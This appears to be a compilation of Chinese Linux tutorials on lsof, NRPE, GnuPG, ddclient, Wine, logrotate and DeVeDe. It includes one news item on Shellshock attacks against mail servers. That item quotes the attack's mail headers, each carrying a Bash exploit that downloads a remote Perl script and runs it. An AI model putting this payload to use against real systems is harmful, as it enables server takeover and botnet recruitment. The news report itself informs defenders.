理解一些关于lsof如何工作的关键性东西是很重要的。最重要的是,当你给它传递选项时,默认行为是对结果进行“或”运算。因此,如果你正是用-i来拉出一个端口列表,同时又用-p来拉出一个进程列表,那么默认情况下你会获得两者的结果。

下面的一些其它东西需要牢记:

  • 默认 : 没有选项,lsof列出活跃进程的所有打开文件
  • 组合 : 可以将选项组合到一起,如-abc,但要当心哪些选项需要参数
  • -a : 结果进行“与”运算(而不是“或”)
  • -l : 在输出显示用户ID而不是用户名
  • -h : 获得帮助
  • -t : 仅获取进程ID
  • -U : 获取UNIX套接口地址
  • -F : 格式化输出结果,用于其它命令。可以通过多种方式格式化,如-F pcfn(用于进程id、命令名、文件描述符、文件名,并以空终止)

获取网络信息

正如我所说的,我主要将lsof用于获取关于系统怎么和网络交互的信息。这里提供了关于此信息的一些主题:

使用-i显示所有连接

有些人喜欢用netstat来获取网络连接,但是我更喜欢使用lsof来进行此项工作。结果以对我来说很直观的方式呈现,我仅仅只需改变我的语法,就可以通过同样的命令来获取更多信息。

# lsof -i
COMMAND  PID USER   FD   TYPE DEVICE SIZE NODE NAME
dhcpcd 6061 root 4u IPv4 4510 UDP *:bootpc
sshd 7703 root 3u IPv6  6499 TCP *:ssh (LISTEN)
sshd 7892 root 3u IPv6  6757 TCP 10.10.1.5:ssh->192.168.1.5:49901 (ESTABLISHED)

使用-i 6仅获取IPv6流量

# lsof -i 6

仅显示TCP连接(同理可获得UDP连接)

你也可以通过在-i后提供对应的协议来仅仅显示TCP或者UDP连接信息。

# lsof -iTCP
COMMAND  PID USER   FD   TYPE DEVICE SIZE NODE NAME
sshd 7703 root 3u IPv6 6499 TCP *:ssh (LISTEN)
sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->192.168.1.5:49901 (ESTABLISHED)

使用-i:port来显示与指定端口相关的网络信息

或者,你也可以通过端口搜索,这对于要找出什么阻止了另外一个应用绑定到指定端口实在是太棒了。

# lsof -i :22
COMMAND  PID USER   FD   TYPE DEVICE SIZE NODE NAME
sshd 7703 root 3u  IPv6 6499 TCP *:ssh (LISTEN)
sshd 7892 root 3u  IPv6 6757 TCP 10.10.1.5:ssh->192.168.1.5:49901 (ESTABLISHED)

使用@host来显示指定到指定主机的连接

这对于你在检查是否开放连接到网络中或互联网上某个指定主机的连接时十分有用。

# lsof -i@172.16.12.5
sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->172.16.12.5:49901 (ESTABLISHED)

使用@host:port显示基于主机与端口的连接

你也可以组合主机与端口的显示信息。

# lsof -i@172.16.12.5:22
sshd 7892 root 3u IPv6 6757 TCP 10.10.1.5:ssh->172.16.12.5:49901 (ESTABLISHED)

找出监听端口

找出正等候连接的端口。

# lsof -i -sTCP:LISTEN

你也可以grep “LISTEN”来完成该任务。

# lsof -i | grep -i LISTEN
iTunes     400 daniel   16u  IPv4 0x4575228  0t0 TCP *:daap (LISTEN)

找出已建立的连接

你也可以显示任何已经连接的连接。

# lsof -i -sTCP:ESTABLISHED

你也可以通过grep搜索“ESTABLISHED”来完成该任务。

# lsof -i | grep -i ESTABLISHED
firefox-b 169 daniel  49u IPv4 0t0 TCP 1.2.3.3:1863->1.2.3.4:http (ESTABLISHED)

来源:https://linux.cn/article-4099-1.html

Linux:如何在 Linux 环境下配置 Nagios Remote Plugin Executor (NRPE)

就网络管理而言,Nagios 是最强大的工具之一。Nagios 可以监控远程主机的可访问性,以及其中正在运行的服务的状态。不过,如果我们想要监控远程主机中网络服务以外的东西呢?比方说,我们可能想要监控远程主机上的磁盘利用率或者 CPU 处理器负载。Nagios Remote Plugin Executor(NRPE)便是一个可以帮助你完成这些操作的工具。NRPE 允许你执行在远程主机上安装的 Nagios 插件,并且将它们集成到一个已经存在的 Nagios 服务器里。

Linux:如何在 Linux 环境下配置 Nagios Remote Plugin Executor (NRPE)
Linux:如何在 Linux 环境下配置 Nagios Remote Plugin Executor (NRPE)

本教程将会介绍如何在一个已经部署好的 Nagios 中配置 NRPE。本教程主要分为两部分:

  • 配置远程主机。
  • 配置 Nagios 监控服务器。

之后我们会以定义一些可以被 NRPE 使用的自定义命令来结束本教程。

为 NRPE 配置远程主机

第一步:安装 NRPE 服务

你需要在你想要使用 NRPE 监控的每一台远程主机上安装 NRPE 服务。每一台远程主机上的 NRPE 服务守护进程将会与一台 Nagios 监控服务器进行通信。

NRPE 服务所需要的软件包可以很容易地用 apt-get 或者 yum 来安装,取决于所在的平台。对于 CentOS 来说,由于 NRPE 并不在 CentOS 的仓库中,我们需要添加 Repoforge 仓库

对于 Debian、Ubuntu 或者 Linux Mint:

# apt-get install nagios-nrpe-server

对于 CentOS、Fedora 或者 RHEL:

# yum install nagios-nrpe

第二步:准备配置文件

配置文件 /etc/nagios/nrpe.cfg 在基于 Debian 或者 RedHat 的系统中比较相近。让我们备份并修改配置文件:

# vim /etc/nagios/nrpe.cfg

## NRPE 服务端口是可以自定义的 ##
server_port=5666
## 允许 Nagios 监控服务器访问 ##
## 注意:逗号后面没有空格 ##
allowed_hosts=127.0.0.1,X.X.X.X-IP_v4_of_Nagios_server
## 下面的例子中我们硬编码了参数。
## 这些参数可以按需修改。
## 注意:对于 CentOS 64 位用户,请使用 /usr/lib64 替代 /usr/lib ##
command[check_users]=/usr/lib/nagios/plugins/check_users -w 5 -c 10
command[check_load]=/usr/lib/nagios/plugins/check_load -w 15,10,5 -c 30,25,20
command[check_hda1]=/usr/lib/nagios/plugins/check_disk -w 20% -c 10% -p /dev/hda1
command[check_zombie_procs]=/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z
command[check_total_procs]=/usr/lib/nagios/plugins/check_procs -w 150 -c 200

现在配置文件已经准备好了,NRPE 服务已经可以启动了。

第三步:初始化 NRPE 服务

对于基于 RedHat 的系统,NRPE 服务需要被添加为启动服务。

对于 Debian、Ubuntu、Linux Mint:

# service nagios-nrpe-server restart

对于 CentOS、Fedora 或者 RHEL:

# service nrpe restart
# chkconfig nrpe on

第四步:验证 NRPE 服务状态

NRPE 守护进程的状态信息可以在系统日志中找到。对于基于 Debian 的系统,日志文件在 /var/log/syslog,而基于 RedHat 的系统的日志文件则是 /var/log/messages。下面提供一段样例日志以供参考:

nrpe[19723]: Starting up daemon
nrpe[19723]: Listening for connections on port 5666
nrpe[19723]: Allowing connections from: 127.0.0.1,X.X.X.X

如果使用了防火墙,被 NRPE 守护进程使用的 TCP 端口 5666 应该被开启。

# netstat -tpln | grep 5666

tcp    0    0    0.0.0.0:5666      0.0.0.0:*      LISTEN    19885/nrpe

来源:http://xmodulo.com/2014/03/nagios-remote-plugin-executor-nrpe-linux.html

Linux:来了!攻击者利用Shellshock漏洞入侵邮件服务器

攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。

Linux:来了!攻击者利用Shellshock漏洞入侵邮件服务器
Linux:来了!攻击者利用Shellshock漏洞入侵邮件服务器

安全研究人员报告,攻击者向邮件服务器发送特定的消息头字段,诱骗服务器执行一个 Perl脚本,成为僵尸网络的一部分。邮件消息头的构成是:

Shellshock spam October 2014 (IP地址已隐藏)
===
To:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
References:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Cc:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Subject:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Message-ID:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Comments:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Keywords:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Resent-Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Resent-From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Resent-Sender:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

 

来源:http://www.solidot.org/story?sid=41644

Linux:在 Linux 中加密邮件

Linux:在 Linux 中加密邮件
Linux:在 Linux 中加密邮件

 

如果你一直在考虑如何加密电子邮件,那么在众多的邮件服务和邮件客户端中挑来挑去一定是件头痛的事情.可以考虑两种加密方法:SSL或TLS加密会保护发送到邮件服务器的登录名和密码.Gunpg是一款标准的、强大的Linux加密工具,可以加密和认证消息.如果你可以管理自己的GPG加密,并不考虑第三方工具,那它就够了,其它的我们将在稍后讨论.

即便加密了消息,你仍然会暴露在流量分析中,因为消息头部必须是明文形式.所以需要另一款比如Tor network来隐藏你在互联网上的足迹.我们会看看各种邮件服务和客户端,以及其中的利弊.

忘掉Web邮件

如果你使用过GMail, Yahoo,Hotmail或者其它Web邮件提供商的邮件服务,那就忘掉它们吧.你在Web浏览器里输入的任何信息都会暴露在JavaScript攻击中,而且无论服务提供商提供什么保障都是过眼云烟(译者注:此说法靠谱否?).GMail,Yahoo和Hotmail均提供SSL/TLS加密来防止消息被窃听.但是它们不会提供任何保护来阻碍它们自己的数据挖掘,因此并不会提供端到端的加密.Yahoo和Google都声称将在明年推出端到端的加密.对此我持怀疑态度,因为如果一旦它们的核心业务数据挖掘受到干预,它们就什么都干不了了.

市面上也有各式各样的声称可以为所有类型的电子邮件都能提供安全加密的第三方邮件加密服务,比如VirtruSafeMess.对此我依旧表示怀疑,因为无论是谁,只要持有加密秘钥就可以访问你的消息,所以你还是要依赖于对他们的信任而不是技术.

对等消息可以避免许多使用集中化服务中的缺陷.RetroShareBitmessage是两种流行的范例.我不知道它们是否如实所述,但这么说肯定有其可取之处.

那Anddroid和iOS又如何呢?假设大部分的Android和iOS应用都没有权限获取你的消息的话,那就是最安全的.不要照搬我说的 — 在应用将要安装到你的设备上时麻烦读读相关的服务条款并检查所要求的权限.即便在初次安装时它们的条款是可接受的,也记得单方面的条款改变是行业的标准,所以做最坏的打算是最安全的.

零知识(Zero Knowledge)

Proton Mail是一款全新的邮件服务,声称采用零知识就可以实现消息加密.认证和消息加密分为两个单独的步骤,Proton遵照Swiss隐私条款,它们不会通过日志记录用户的活动.零知识加密提供真正的安全.这代表只有你拥有你的加密秘钥,如果你丢了它们,你的消息就无法恢复了.

也有许多加密电子邮件服务声称可以保护你的隐私.认真阅读细则,查看红色标注的地方,比如受限的用户数据采集,与好友分享,与执法部门的合作等.这些条款暗示它们会收集和共享用户数据,拥有权限获取你的加密秘钥,并读取你的消息.

Linux邮件客户端

一款独立的开源邮件客户端,比如, Mutt, Claws, Evolution, Sylpheed和Alpine,可建立你自己控制的GnuPG秘钥,给你大部分的保护.(建立更安全的电子邮件和Web浏览的最容易的方式是运行TAILS live的Linux发行版.详情查看通过 Tor、TAILS 和 Debian 在网上保护你自己。)

无论你使用的是TAILS还是一款标准Linux发行版,管理GnuPG的方法是相同的,所以下面来学习如何使用GnuPG加密消息.

使用GnuPG

首先,熟悉一下相关术语。OpenPGP是一种开放的电子邮件加密和认证协议,基于菲利普·齐默曼的Pretty Good Privacy (PGP)。GNU Privacy Guard (GnuPG or GPG)是OpenPGP的GPL实现。GnuPG使用对称公钥加密算法,也就是说会生成一对密钥:一个任何人都可以用来加密发送给你的消息的公钥和一个只有你自己拥有用来解密消息的的私钥。GnuPG执行两个分开的函数:数字化签名消息以证明消息来自你和加密消息。任何人都可以读到你的数字签名消息,但只有那些与你交换密钥的人才可以读取加密消息。切记千万不要与他人分享你的密钥!只能分享公钥。

Seahorse是GnuPG对应的GNOME图形化前端,KGpg是KDE图形化的GnuPG工具。

Linux:在 Linux 中加密邮件
Linux:在 Linux 中加密邮件

Kgpg为了创建了管理加密秘钥提供了一个很好的GUI界面.

现在我们执行生成和管理GunPG密钥的基本步骤。这个命令生成一个新的密钥:

$ gpg --gen-key

这个过程有许多步骤;对于大部分人来说,只需要回答所有的问题,遵循默认设置就好。当你生成你的密钥时,记下来并将其保存在一个安全的地方,因为如果你丢掉了它,你就不能解密任何消息了。任何关于不要写下密码的建议都是错误的。我们中的大部分人要记住许多登录名和密码,包括那些我们几乎从来不会用到的,所以全部记住它们是不现实的。你知道当人们不写下他们的密码时会发生什么吗?他们会选择生成简单的密码并不断重复使用。你存储在电脑里的任何东西都潜在地会被攻击窃取;一个保存在上锁的柜子里的小本是无法通过渗透获取的,除了物理的入侵,当然入侵者要知道如何去寻找它。

我必须叮嘱你们去弄清楚如何使用新密钥去配置邮件客户端,因为每一个都不同。你可以按照如下操作列出你的密钥:

$ gpg --list-keys
/home/carla/.gnupg/pubring.gpg
------------------------------
pub   2048R/587DD0F5 2014-08-13
uid                  Carla Schroder (my gpg key)
sub   2048R/AE05E1E4 2014-08-13

这能快速地获知像密钥的位置、名称(也就是UID)等必要信息。假设你想要把公钥上传到密钥服务器,可以参考实例操作:

$ gpg --send-keys 'Carla Schroder' --keyserver http://example.com

当你生成了一个新的密钥要上传到公钥服务器,你也应该生成一个撤销证书。不要推迟到以后做———当你生成新密钥时就生成它。你可以给它取任意的名称,比如使用一个像mycodeproject.asc的描述性名称来代替revoke.asc:

$ gpg --output revoke.asc --gen-revoke 'Carla Schroder'

如果你的密钥变得不可靠了,你可以通过向keyring导入撤销证书来撤销它:

$ gpg --import ~/.gnupg/revoke.asc

然后生成并上传一个新的密钥来取代它。当它们更新到密钥数据库时,所有使用旧密钥的用户都会被通知。

你必须像保护私钥一样保护撤销证书。将它拷贝到CD或USB存储器中,并加锁,然后从电脑中删除。这是明文密钥,所以你甚至可以将它打印出来。

如果你需要一份复制粘贴的密钥,比如在允许将密钥粘贴到网页表格中的公用keyring中,或者是想将公钥发布到个人站点上,那么你必须生成一份公钥的ASCII-armored版本:

$ gpg --output carla-pubkey.asc --export -a 'Carla Schroder'

这会生成可见的明文公钥,就像下面这个小例子:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1
mQENBFPrn4gBCADeEXKdrDOV3AFXL7QQQ+i61rMOZKwFTxlJlNbAVczpawkWRC3l
IrWeeJiy2VyoMQ2ZXpBLDwGEjVQ5H7/UyjUsP8h2ufIJt01NO1pQJMwaOMcS5yTS
[...]
I+LNrbP23HEvgAdNSBWqa8MaZGUWBietQP7JsKjmE+ukalm8jY8mdWDyS4nMhZY=
=QL65
-----END PGP PUBLIC KEY BLOCK-----

相信上面的教程应该使你学会如何使用GnuPG。如果不够,The GnuPG manuals上有使用GnuPG和相关全部配置的详细信息。


via: http://www.linux.com/learn/tutorials/784165-how-to-encrypt-email-in-linux

作者:Carla Schroder 译者:KayGuoWhu 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4121-1.html

Linux:Ubuntu 下使用 CloudFlare 动态域名

需求

首先保证你有一个自有域名,然后登录到CloudFlare,添加你的域名。遵循指令操作,使用它给出的默认值就行了。你将让CloudFlare来托管你的域,所以你需要调整你的注册机构的设置。如果你想要使用子域名,请为它添加一条‘A’记录。目前,任何IP地址都可以。

Linux:Ubuntu 下使用 CloudFlare 动态域名
Linux:Ubuntu 下使用 CloudFlare 动态域名

DDclient是一个Perl客户端,用于更新动态DNS网络服务提供商帐号下的动态DNS条目。它最初是由保罗·巴利编写的,现在大多数是由维姆潘科在做。它能做的不仅仅是动态DNS,也可以通过几种不同的方式获取你的WAN口IP地址。

CloudFlare 的一个功能是它允许你通过API或叫做ddclient的命令行脚本更新你的DNS记录。不管哪一个,结果都一样,而且它是个免费软件。

不幸的是,ddclient并不能在CloudFlare中即开即用。它需要打补丁,这里就是要介绍怎样在Debian或Ubuntu上破解它,它也能在带有Raspberry Pi的Raspbian上工作。

在Ubuntu上安装ddclient

打开终端,并运行以下命令

sudo apt-get install ddclient

现在,你需要使用以下命令来安装补丁

sudo apt-get install curl sendmail libjson-any-perl libio-socket-ssl-perl
curl -O http://blog.peter-r.co.uk/uploads/ddclient-3.8.0-cloudflare-22-6-2014.patch
sudo patch /usr/sbin/ddclient < ddclient-3.8.0-cloudflare-22-6-2014.patch

以上命令用来完成ddclient的安装和打补丁

配置ddclient

你需要使用以下命令来编辑ddclient.conf文件

sudo vi /etc/ddclient.conf

添加以下信息

##
### CloudFlare (cloudflare.com)
###
ssl=yes
use=web, web=dyndns
protocol=cloudflare,
server=www.cloudflare.com,
zone=domain.com,
login=you@email.com,
password=api-key
host.domain.com
Comment out:
#daemon=300

你的 api-key 可以从 CloudFlare帐号页面找到,ssl=yes 可能已经设置,use=web, web=dyndns 表示使用 dyndns 来确定 IP(用于 NAT)。

你已经搞定了。登录到 https://www.cloudflare.com 并检查列出的与你域名对应的IP地址是否与 http://checkip.dyndns.com 列出的相匹配。

使用以下命令来验证你的设置

sudo ddclient -daemon=0 -debug -verbose -noquiet

via: http://www.ubuntugeek.com/how-to-use-cloudflare-as-a-ddclient-provider-under-ubuntu.html

译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:http://www.ubuntugeek.com/how-to-use-cloudflare-as-a-ddclient-provider-under-ubuntu.html

Linux:在基于RedHat与Debian的系统上安装Wine 最新的开发版本

Wine,一个在Linux平台上非常受欢迎并且强大的开源应用,有了它,我们可以在Linux平台上完美运行Windows应用与游戏。

Linux:在基于RedHat与Debian的系统上安装Wine 最新的开发版本
Linux:在基于RedHat与Debian的系统上安装Wine 最新的开发版本

在Linux上安装Wine(开发版本)

WineHQ团队,近期宣布了一个新的开发版本Wine1.7.29。这个版本带来了诸多重要的特性,并且修复了44个bug。

Wine团队几乎每周都会发布新的开发版本,并且加入许多新特性以及修复漏洞。每个新版本都会支持新的应用与游戏(Windows),这使得Wine在那些想要在Linux下运行Windows应用的用户群体中很流行并且是不可缺少的。

根据变更日志,这个版本中添加了以下的关键特性:

  • 在DirectWrite中加入增强的外形塑造与BiDi(译者:bi-directional language)镜像。
  • 升级了一些页面错误处理方式。
  • 增加了更多的C运行时函数。
  • 修复了大量的bug。

在官方的 变更日志 中可以找到关于这个版本更多更深入的细节。

这篇文章指导你在基于RedHatDebian的系统,如CentOS,Fedora,Ubuntu,Linux Mint以及其他的发行版中安装最新的开发版本Wine 1.7.29

在Linux中安装 Wine 1.7.29 开发版本

遗憾的是,目前还没有官方的Wine仓库可以获取基于RedHat系统的版本,只能通过编译源码来安装。如果要这么做的话,我们先要安装一些开发包如gcc,flex,bison,libX11-devel freetype-devel 以及开发工具,等等。这些工具都是编译Wine源码所必须的。我们可以通过YUM命令来安装这些包。

RedHat,Fedora,CentOS

# yum -y groupinstall 'Development Tools'
# yum -y install flex bison libX11-devel freetype-devel

然后,使用如下命令下载Wine最新的开发版本(1.7.29)以及解压源码包。

$ cd /tmp
$ wget http://citylan.dl.sourceforge.net/project/wine/Source/wine-1.7.29.tar.bz2
$ tar -xvf wine-1.7.29.tar.bz2 -C /tmp/

接下来,使用下列命令编译及安装Wine。

注:安装过程大概需要15-20分钟,这个时间由你的网络速度以及电脑硬件配置决定,在安装过程中需要root密码。

32位系统

$cd wine-1.7.29/
$./tools/wineinstall

64位系统

$ cd wine-1.7.29/
$ ./configure --enable-win64
$ make
# make install

Ubuntu,Debian 与 Linux Mint

Ubuntu系统下,你可以使用官方的PPA方便的安装最新的Wine开发版本。打开一个终端并使用sudo权限执行下列命令。

$ sudo add-apt-repository ppa:ubuntu-wine/ppa
$ sudo apt-get update
$ sudo apt-get install wine 1.7 winetricks

:在写这篇文章时,只能获取1.7.26,在官方的仓库中还没有更新到最新版本,但是当仓库更新到1.7.29后,使用上面的指令可以安装最新的版本。(译者:为毛我看了版本号是1.6.2……)

安装成功后,你可以安装或运行任何windows应用或游戏了,示例如下:

$ wine notepad
$ wine notepad.exe
$ wine c:\windows\notepad.exe

:切记,这是一个开发版本,请勿在生产系统上安装它。建议这个版本仅作测试用。

如果你需要最新的稳定版本,可以参考下列文章,它介绍了如何安装最新的稳定版本。

参考链接


via: http://www.tecmint.com/install-wine-in-linux/

作者:Ravi Saive 译者:SPccman 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4124-1.html

Linux:Linux日志文件总管——logrotate

日志文件包含了关于系统中发生的事件的有用信息,在排障过程中或者系统性能分析时经常被用到。对于忙碌的服务器,日志文件大小会增长极快,服务器会很快消耗磁盘空间,这成了个问题。除此之外,处理一个单个的庞大日志文件也常常是件十分棘手的事。

Linux:Linux日志文件总管——logrotate
Linux:Linux日志文件总管——logrotate

logrotate是个十分有用的工具,它可以自动对日志进行截断(或轮循)、压缩以及删除旧的日志文件。例如,你可以设置logrotate,让/var/log/foo日志文件每30天轮循,并删除超过6个月的日志。配置完后,logrotate的运作完全自动化,不必进行任何进一步的人为干预。另外,旧日志也可以通过电子邮件发送,不过该选项超出了本教程的讨论范围。

Linux:Linux日志文件总管——logrotate
Linux:Linux日志文件总管——logrotate

主流Linux发行版上都默认安装有logrotate包,如果出于某种原因,logrotate没有出现在里头,你可以使用apt-get或yum命令来安装。

在Debian或Ubuntu上:

# apt-get install logrotate cron

在Fedora,CentOS或RHEL上:

# yum install logrotate crontabs

logrotate的配置文件是/etc/logrotate.conf,通常不需要对它进行修改。日志文件的轮循设置在独立的配置文件中,它(们)放在/etc/logrotate.d/目录下。

样例一

在第一个样例中,我们将创建一个10MB的日志文件/var/log/log-file。我们将展示怎样使用logrotate来管理该日志文件。

我们从创建一个日志文件开始吧,然后在其中填入一个10MB的随机比特流数据。

# touch /var/log/log-file
# head -c 10M < /dev/urandom > /var/log/log-file

由于现在日志文件已经准备好,我们将配置logrotate来轮循该日志文件。让我们为该文件创建一个配置文件。

# vim /etc/logrotate.d/log-file

/var/log/log-file {
    monthly
    rotate 5
    compress
    delaycompress
    missingok
    notifempty
    create 644 root root
    postrotate
        /usr/bin/killall -HUP rsyslogd
    endscript
}

这里:

  • monthly: 日志文件将按月轮循。其它可用值为‘daily’,‘weekly’或者‘yearly’。
  • rotate 5: 一次将存储5个归档日志。对于第六个归档,时间最久的归档将被删除。
  • compress: 在轮循任务完成后,已轮循的归档将使用gzip进行压缩。
  • delaycompress: 总是与compress选项一起用,delaycompress选项指示logrotate不要将最近的归档压缩,压缩将在下一次轮循周期进行。这在你或任何软件仍然需要读取最新归档时很有用。
  • missingok: 在日志轮循期间,任何错误将被忽略,例如“文件无法找到”之类的错误。
  • notifempty: 如果日志文件为空,轮循不会进行。
  • create 644 root root: 以指定的权限创建全新的日志文件,同时logrotate也会重命名原始日志文件。
  • postrotate/endscript: 在所有其它指令完成后,postrotate和endscript里面指定的命令将被执行。在这种情况下,rsyslogd 进程将立即再次读取其配置并继续运行。

上面的模板是通用的,而配置参数则根据你的需求进行调整,不是所有的参数都是必要的。

样例二

在本例中,我们只想要轮循一个日志文件,然而日志文件大小可以增长到50MB。

# vim /etc/logrotate.d/log-file

/var/log/log-file {
    size=50M
    rotate 5
    create 644 root root
    postrotate
        /usr/bin/killall -HUP rsyslogd
    endscript
}

样例三

我们想要让旧日志文件以创建日期命名,这可以通过添加dateext常熟实现。

# vim /etc/logrotate.d/log-file

/var/log/log-file {
    monthly
    rotate 5
    dateext
    create 644 root root
    postrotate
        /usr/bin/killall -HUP rsyslogd
    endscript
}

这将让归档文件在它们的文件名中包含日期信息。

排障

这里提供了一些logrotate设置的排障提示。

1. 手动运行logrotate

logrotate可以在任何时候从命令行手动调用。

要调用为/etc/lograte.d/下配置的所有日志调用logrotate

# logrotate /etc/logrotate.conf

要为某个特定的配置调用logrotate:

# logrotate /etc/logrotate.d/log-file

2. 演练

排障过程中的最佳选择是使用‘-d’选项以预演方式运行logrotate。要进行验证,不用实际轮循任何日志文件,可以模拟演练日志轮循并显示其输出。

# logrotate -d /etc/logrotate.d/log-file
Linux:Linux日志文件总管——logrotate
Linux:Linux日志文件总管——logrotate

正如我们从上面的输出结果可以看到的,logrotate判断该轮循是不必要的。如果文件的时间小于一天,这就会发生了。

3. 强制轮循

即使轮循条件没有满足,我们也可以通过使用‘-f’选项来强制logrotate轮循日志文件,‘-v’参数提供了详细的输出。

# logrotate -vf /etc/logrotate.d/log-file

reading config file /etc/logrotate.d/log-file
reading config info for /var/log/log-file
Handling 1 logs
rotating pattern: /var/log/log-file  forced from command line (5 rotations)
empty log files are rotated, old logs are removed
considering log /var/log/log-file
  log needs rotating
rotating log /var/log/log-file, log->rotateCount is 5
dateext suffix '-20140916'
glob pattern '-[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
renaming /var/log/log-file.5.gz to /var/log/log-file.6.gz (rotatecount 5, logstart 1, i 5),
old log /var/log/log-file.5.gz does not exist
renaming /var/log/log-file.4.gz to /var/log/log-file.5.gz (rotatecount 5, logstart 1, i 4),
old log /var/log/log-file.4.gz does not exist
. . .
renaming /var/log/log-file.0.gz to /var/log/log-file.1.gz (rotatecount 5, logstart 1, i 0),
old log /var/log/log-file.0.gz does not exist
log /var/log/log-file.6.gz doesn't exist -- won't try to dispose of it
renaming /var/log/log-file to /var/log/log-file.1
creating new /var/log/log-file mode = 0644 uid = 0 gid = 0
running postrotate script
compressing log with: /bin/gzip

4. Logrotate的记录日志

logrotate自身的日志通常存放于/var/lib/logrotate/status目录。如果处于排障目的,我们想要logrotate记录到任何指定的文件,我们可以指定像下面这样从命令行指定。

# logrotate -vf –s /var/log/logrotate-status /etc/logrotate.d/log-file

5. Logrotate定时任务

logrotate需要的cron任务应该在安装时就自动创建了,我把cron文件的内容贴出来,以供大家参考。

# cat /etc/cron.daily/logrotate

#!/bin/sh
# Clean non existent log file entries from status file
cd /var/lib/logrotate
test -e status || touch status
head -1 status > status.clean
sed 's/"//g' status | while read logfile date
do
    [ -e "$logfile" ] && echo ""$logfile" $date"
done >> status.clean
mv status.clean status
test -x /usr/sbin/logrotate || exit 0
/usr/sbin/logrotate /etc/logrotate.conf

小结一下,logrotate工具对于防止因庞大的日志文件而耗尽存储空间是十分有用的。配置完毕后,进程是全自动的,可以长时间在不需要人为干预下运行。本教程重点关注几个使用logrotate的几个基本样例,你也可以定制它以满足你的需求。

希望本文对你有所帮助。


via: http://xmodulo.com/2014/09/logrotate-manage-log-files-linux.html

作者:Sarmed Rahman 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4126-1.html

Linux:Linux 有问必答:在Linux桌面上创建视频DVD

问题:我想要从MP4电影文件创建一张视频DVD,在Linux桌面环境中有没有我可以用来创建视频DVD的DVD创作工具?

DeVeDe是一个开源(GPLv3)DVD创作软件,它允许你从任何数量的视频文件创建视频DVD、VCD、SVCD或者DivX。DeVeDe依赖于其它如Mplayer、FFMpeg、MEncoder、DVDAuthor、VCDImager以及MKisofs之类的软件来进行格式转换。就这点而论,它支持各种各样的主流输入视频/音频格式(如.mp4,.avi,.mpg,.mkv)。你可以在PAL和NTSC视频格式之间选择,也可以田间菜单或字幕。

如果你想要保留或者分发你的假期、家庭或者娱乐影音副本,DeVeDe可以派上用场。

安装Devede

Debian,Ubuntu及其衍生版:

# aptitude install devede

RHEL或者CentOS:

启用EPELNux Dextop仓库,然后运行:

# yum install devede

Fedora:

启用RPM Fusion仓库,然后运行:

# yum install devede

使用DeVeDe创建视频DVD

启动DeVeDe并从菜单选择视频DVD。

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

在下一屏中,DeVeDe会自动添加一个标题到收藏。你可以编辑说明文字(1),添加一个文件(2),然后添加另一个标题。根据需要,可重复该操作过程。

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

在当前标题结束后,“标题属性”对话框允许你在6个要实施的行为之间选择。完成后,点击确定:

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

“文件属性”对话框用于添加文件到当前标题。点击文件夹图标(右上角),然后浏览你的计算机以选择想要的文件。你也可以通过点击副标题对话框右边的添加按钮添加一个副标题文件。选择好视频文件(又或者是副标题文件)后,点击右下角的确定。

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

你可以添加你所需的足够多的文件(只受DVD容量的限制)。

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

接下来,编辑菜单选项。你可以选择一个背景图片和声音文件,在主菜单显示时播放(在DVD插入播放器时就会出现)。

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

最后,点击菜单选项对话框内的确定回到主光盘结构,在那里你需要点击下一步来开始以视频DVD结构创建一个.iso映像。

Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD
Linux:Linux 有问必答:在Linux桌面上创建视频DVD

在DeVeDe创建完视频DVD后,下面这个对话框将呈现在我们眼前:

现在,我们可以刻录.iso文件(该文件包含有视频DVD)到光盘了,你可以使用growisofs或其它DVD刻录工具。


via: http://ask.xmodulo.com/create-video-dvd-linux-desktop.html

译者:GOLinux 校对:wxy

